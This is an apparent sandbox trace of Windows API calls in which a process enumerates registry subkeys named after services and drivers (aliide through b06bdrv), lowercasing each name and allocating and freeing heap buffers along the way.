[0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.656] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.656] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0247.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.657] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.657] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.657] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.657] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.658] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.658] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.658] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0247.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.659] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.659] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.659] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.659] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.660] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.660] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f19b8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.660] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0247.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.660] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.661] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.661] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.661] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.661] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.662] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 